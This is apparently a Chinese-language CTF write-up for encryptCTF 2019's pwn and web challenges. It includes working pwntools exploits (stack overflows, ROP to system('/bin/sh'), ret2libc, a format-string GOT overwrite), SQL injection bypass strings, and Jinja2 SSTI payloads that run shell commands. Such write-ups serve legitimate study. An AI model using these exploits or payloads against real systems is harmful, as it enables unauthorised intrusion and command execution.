encryptCTF2019 pwn&web
周中跟着大佬们打了一场国外的CTF,题目不是很难,不过很适合新人练练手。其中我AK了pwn和web的题目,pwn题难度较低,对我这些萌新十分友好,web带点脑洞,其中两题python站的题目还是不错的,可以借此熟悉一下virtualenv
的操作和ssti
注入。
pwn
pwn0
[*] '/home/kira/pwn/encryptCTF/pwn0'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-44h]
char s1; // [esp+5Ch] [ebp-4h]
setvbuf(stdout, 0, 2, 0);
puts("How's the josh?");
gets(&s);
if ( !memcmp(&s1, "H!gh", 4u) )
{
puts("Good! here's the flag");
print_flag();
}
else
{
puts("Your josh is low!\nBye!");
}
return 0;
}
思路:只要s1
内容为H!hg
即可getflag,那么直接在输入s
的时候溢出覆盖s1
就行了。
# kira @ k1r4 in ~/pwn/encryptCTF on git:master x [14:04:34]
$ nc 104.154.106.182 1234
How's the josh?
H!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!gh
Good! here's the flag
encryptCTF{L3t5_R4!53_7h3_J05H}
pwn1
[*] '/home/kira/pwn/encryptCTF/pwn1'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+10h] [ebp-80h]
setvbuf(stdout, 0, 2, 0);
printf("Tell me your name: ");
gets(&s);
printf("Hello, %s\n", &s);
return 0;
}
思路:程序没开canary,自带getshell的后门函数,直接栈溢出覆盖ret地址即可。
from pwn import *
p = remote('104.154.106.182', 2345)
p.sendline('a'*140+p32(0x80484AD))
p.interactive()
pwn2
[*] '/home/kira/pwn/encryptCTF/pwn2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+10h] [ebp-20h]
setvbuf(stdout, 0, 2, 0);
printf("$ ");
gets(&s);
if ( !strcmp(&s, "ls") )
run_command_ls();
else
printf("bash: command not found: %s\n", &s);
puts("Bye!");
return 0;
}
思路:题目里面自带system
,直接栈溢出组ROP。先用gets
读入/bin/sh
,然后调用system
。
from pwn import *
elf = ELF('./pwn2')
p = remote('104.154.106.182', 3456)
pr = 0x08048546 # pop ebp ; ret
bss = 0x0804A040
payload = p32(elf.plt['gets'])+p32(pr)+p32(bss)+p32(elf.plt['system'])+p32(0)+p32(bss)
p.sendlineafter('$ ','a'*44+payload)
p.sendline('/bin/sh\x00')
p.interactive()
pwn3
[*] '/home/kira/pwn/encryptCTF/pwn3'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+10h] [ebp-80h]
setvbuf(stdout, 0, 2, 0);
puts("I am hungry you have to feed me to win this challenge...\n");
puts("Now give me some sweet desert: ");
gets(&s);
return 0;
}
思路:这次程序没有system
函数,需要泄露libc地址,然后ret2libc,远程泄露gets
地址最低三位是e60
,可以查到libc版本为libc6_2.19-0ubuntu6.14_i386
。首先构造一个ROP来泄露libc地址,然后返回main
函数,这里有个坑点是第二次溢出需要填充的垃圾字符数量不一样,具体可以调试看看,然后再组一次ROP,调用system
。
from pwn import *
libc = ELF('./libc6_2.19-0ubuntu6.14_i386.so')
elf = ELF('./pwn3')
p = remote('104.154.106.182', 4567)
main = 0x0804847D
p.sendlineafter(': \n','a'*140+p32(elf.plt['puts'])+p32(main)+p32(elf.got['gets']))
libc.address = u32(p.recv(4)) - libc.sym['gets']
print hex(libc.address)
p.sendlineafter(': \n','a'*132+p32(libc.sym['system'])+p32(0)+p32(libc.search('/bin/sh').next()))
p.interactive()
pwn4
[*] '/home/kira/pwn/encryptCTF/pwn4'
Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-84h]
unsigned int v5; // [esp+9Ch] [ebp-4h]
v5 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
puts("Do you swear to use this shell with responsility by the old gods and the new?\n");
gets(&s);
printf(&s);
printf("\ni don't belive you!\n%s\n", &s);
return 0;
}
思路:题目开了canary,不能直接进行栈溢出。有一个很明显的格式化字符串漏洞,而且程序自带一个getshell的后门,可以用格式化字符串修改printf@got.plt
为后门函数。
# kira @ k1r4 in ~/pwn/encryptCTF on git:master x [19:33:56]
$ ./pwn4
Do you swear to use this shell with responsility by the old gods and the new?
aaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
aaaa(nil).0x2.(nil).0xffe571ce.0x1.0xc2.0x61616161.0x252e7025.0x70252e70.0x2e70252e
i don't belive you!
aaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
简单测试了一下,可以发现格式化字符的offset是7,因为程序是32位的,可以直接用pwntools
的fmtstr_payload
函数。
from pwn import *
elf = ELF('./pwn4')
p = remote('104.154.106.182', 5678)
payload = fmtstr_payload(7,{elf.got['printf']:0x0804853D})
p.sendlineafter('new?\n',payload)
p.interactive()
web
Sweeeeeet
Do you like sweets?
http://104.154.106.182:8080
author: codacker50
在响应包头得到一个flag,但是提交提示incorrect。
Set-Cookie: FLAG=encryptCTF%7By0u_c4nt_U53_m3%7D
随后在请求包的cookie里面发现一个UID=f899139df5e1059396431415e770c6dd
,查了一下为md5(100)
,于是使用burp进行0-999
md5后爆破UID
Slash Slash
题目给了一个flask站的源码,https://ctf.encryptcvs.cf/files/43338088b56bf932bed9511a18168fd9/handout_slashslash.7z
查看application.py
,发现flag应该写进环境变量,而且使用了virtualenv
设置虚拟环境,题目还提供了virtualenv
的学习视频。
import os
from flask import Flask, render_template, jsonify
app = Flask(__name__)
'''
secret_key using python3 secrets module
'''
app.secret_key = "9d367b3ba8e8654c6433379763e80c6e"
'''
Learn about virtualenv here:
https://www.youtube.com/watch?v=N5vscPTWKOk&list=PL-osiE80TeTt66h8cVpmbayBKlMTuS55y&index=7
'''
FLAG = os.getenv("FLAG", "encryptCTF{}")
@app.route('/')
def index():
return render_template('index.html')
@app.route('/encryptCTF', methods=["GET"])
def getflag():
return jsonify({
'flag': FLAG
})
if __name__ == '__main__':
app.run(debug=False)
安装一下virtualenv
,然后运行此虚拟环境,但是发现根本没有$FLAG
。
# kira @ k1r4 in ~/web/handout_slashslash/app [21:08:40]
$ source ./env/bin/activate
(env)
# kira @ k1r4 in ~/web/handout_slashslash/app [21:08:57]
$ echo $FLAG
直接查看一下activate
文件,发现最后有一句被注销掉了,RkxBRwo=
解码就是FLAG
export $(echo RkxBRwo= | base64 -d)="ZW5jcnlwdENURntjb21tZW50c18mX2luZGVudGF0aW9uc19tYWtlc19qb2hubnlfYV9nb29kX3Byb2dyYW1tZXJ9Cg=="
那么直接解base64就getflag了。
# kira @ k1r4 in ~/web/handout_slashslash/app [21:09:01]
$ echo ZW5jcnlwdENURntjb21tZW50c18mX2luZGVudGF0aW9uc19tYWtlc19qb2hubnlfYV9nb29kX3Byb2dyYW1tZXJ9Cg==|base64 -d
encryptCTF{comments_&_indentations_makes_johnny_a_good_programmer}
当然,将此行注销去掉,然后修改一下代码为FLAG = os.getenv("FLAG")
,就可以通过访问http://127.0.0.1:5000/encryptCTF
得到flag
virtualenv
的使用教程可以参考以下链接
vault
i heard you are good at breaking codes, can you crack this vault?
http://104.154.106.182:9090
author: codacker
打开地址后为一个登陆界面,随手试了一发万能密码username=123' or 1#&password=123' or 1#
,成功登陆,返回一个二维码,扫描后为一个YouTube地址。
猜想flag可能存在数据库,手工测试一下发现可以注入
username=123' or 1=1#&password=123 # 成功登陆
username=123' or 1=2#&password=123 # 登陆失败
直接使用sqlmap跑出管理员密码,但是登陆后仍然是那个二维码,并没有flag
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | 21232f297a57a5a743894a0e4a801fc3 |
+----+----------+----------------------------------+
在数据库翻了半天,原来成功登陆的cookie就是flag,无语了。。。。
Set-Cookie: SESSIONID=ZW5jcnlwdENURntpX0g0dDNfaW5KM2M3aTBuNX0%3D
解码后为:
encryptCTF{i_H4t3_inJ3c7i0n5}
Env
Einstein said, "time was relative, right?"
meme 1 https://i.imgur.com/LYS3TYi.jpg
meme 2 https://i.imgur.com/FcsusMX
http://104.154.106.182:6060
Author: maskofmydisguise
第一张图片里面提示了两个目录/home
和/whatsthetime/
访问http://104.154.106.182:6060/whatsthetime
提示Almost there...or are you?
。
然后访问http://104.154.106.182:6060/whatsthetime/1
,获得一个新提示
查了一下THE EPOCH TIME
是指1970年1月1日00:00:00 UTC,猜测后面的数字要为当前时间的时间戳才能出flag
import time
import requests
url = 'http://104.154.106.182:6060/whatsthetime/'
r = requests.get(url+str(int(time.time())))
print r.content
写了一个简单的脚本尝试一下,发现不行,估计服务器时间跟我本地有误差,最近决定拿burp进行爆破,我用当前时间戳减去100,然后每次加1进行爆破,很快就出结果了,如下图所示。
repeaaaaaat
Can you repeaaaaaat?
http://104.154.106.182:5050
author: codacker
访问链接后出现一大堆logo,查看源码发现了一串base64,<!-- d2hhdF9hcmVfeW91X3NlYXJjaGluZ19mb3IK -->
,解码为what_are_you_searching_for
。
然后访问http://104.154.106.182:5050/what_are_you_searching_for
,又得到一串base64,解码后为一个视频链接https://www.youtube.com/watch?v=5rAOyh7YmEc
HTTP/1.1 200 OK
Server: gunicorn/19.9.0
Date: Tue, 02 Apr 2019 13:22:51 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 429
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>FLAG</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" media="screen" href="main.css">
<script src="main.js"></script>
</head>
<body>
<h1> aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj01ckFPeWg3WW1FYwo= </h1>
</body>
</html>
看完这个视频的我一脸懵逼,这是什么鬼???
迷惘几分钟后,发现返回包server
字段比较陌生,Google一下Gunicorn
Gunicorn 'Green Unicorn' is a Python WSGI HTTP Server for UNIX. It's a pre-fork worker model. The Gunicorn server is broadly compatible with various web frameworks, simply implemented, light on server resources, and fairly speedy.
可见这个网站是一个python站,看到python站,首先想到的是SSTI模板注入,简单测试了一下发现并没有反应
后面测试的时候发现主页下面的base64变了另外一个<!-- Lz9zZWNyZXQ9ZmxhZw== -->
,解码为:/?secret=flag
,然后再测试一下发现可行了。
拿出一个常用的payload进行测试,返现返回500错误,但至少证明是成功运行了,可能本地的环境和远程的有些微差别。
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
一段一段地进行删除测试,发现{{"".__class__.__mro__[-1].__subclasses__()[117]}}
的返回结果跟本地不一样
本地测试结果
>>> "".__class__.__mro__[-1].__subclasses__()[117]
<class 'os._wrap_close'>
远程返回结果
<class 'dict_valueiterator'>
删掉序号直接查看返回结果,发现是存在这个class的
那么修改一下payload为{{"".__class__.__mro__[-1].__subclasses__()['os._wrap_close'].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
,可正常返回结果。
最后payload为:
{{"".__class__.__mro__[-1].__subclasses__()['os._wrap_close'].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat+flag*').read()")}}
- pwn.zip 下载